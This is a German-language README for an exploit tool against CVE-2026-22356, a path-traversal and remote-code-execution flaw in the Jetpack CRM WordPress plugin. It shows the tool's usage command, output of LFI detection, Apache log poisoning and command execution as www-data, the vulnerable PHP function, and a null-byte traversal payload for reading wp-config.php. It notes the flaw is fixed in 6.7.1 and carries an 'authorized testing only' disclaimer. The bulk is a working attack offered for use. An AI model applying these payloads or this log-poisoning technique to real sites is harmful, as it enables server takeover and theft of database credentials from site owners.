CVE-2026-22356: Jetpack CRM Path-Traversal-Schwachstelle und RCE

Warnung: Dieses Tool sollte nur in autorisierten Testumgebungen verwendet werden. Der Benutzer ist vollständig verantwortlich für die illegale Nutzung.

📥 Anforderungen

pip3 install requests urllib3

$ python3 exploit.py https://example.com --rce --cmd "id"
[+] Target is VULNERABLE to LFI!
[*] Attempting Log Poisoning for RCE...
[*] Searching for accessible log files...
[*] Trying: ../../../../var/log/apache2/access.log
[+] Found accessible log file: ../../../../var/log/apache2/access.log
[*] Poisoning log file: ../../../../var/log/apache2/access.log
[+] Payload injected into log file.
[*] Executing command: id

[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

function jpcrm_load_admin_page( $page_name, $alt_path = ZEROBSCRM_PATH ) {
    $target_file = $alt_path . "admin/$page_name.page.php";
    if ( file_exists( $target_file ) ) {
        require_once $target_file;
    }
}

In diesem Code wird $page_name direkt ohne Validierung verwendet, sodass ein Angreifer durch Senden von page=../../../wp-config.php%00 den Aufruf require_once("admin/../../../wp-config.php%00.page.php") auslösen kann. Wenn PHP den Nullbyte als Ende des Dateinamens interpretiert, wird die wp-config.php-Datei ausgeführt.

In Version 6.7.1 wurde dieser Code durch Hinzufügen von realpath()- und strpos()-Prüfungen behoben.

Dieses Dokument wurde erstellt, um Ihnen zu helfen, die Schwachstelle CVE-2026-22356 zu verstehen und in autorisierten Tests zu verwenden. Die illegale Nutzung liegt in der alleinigen Verantwortung des Benutzers.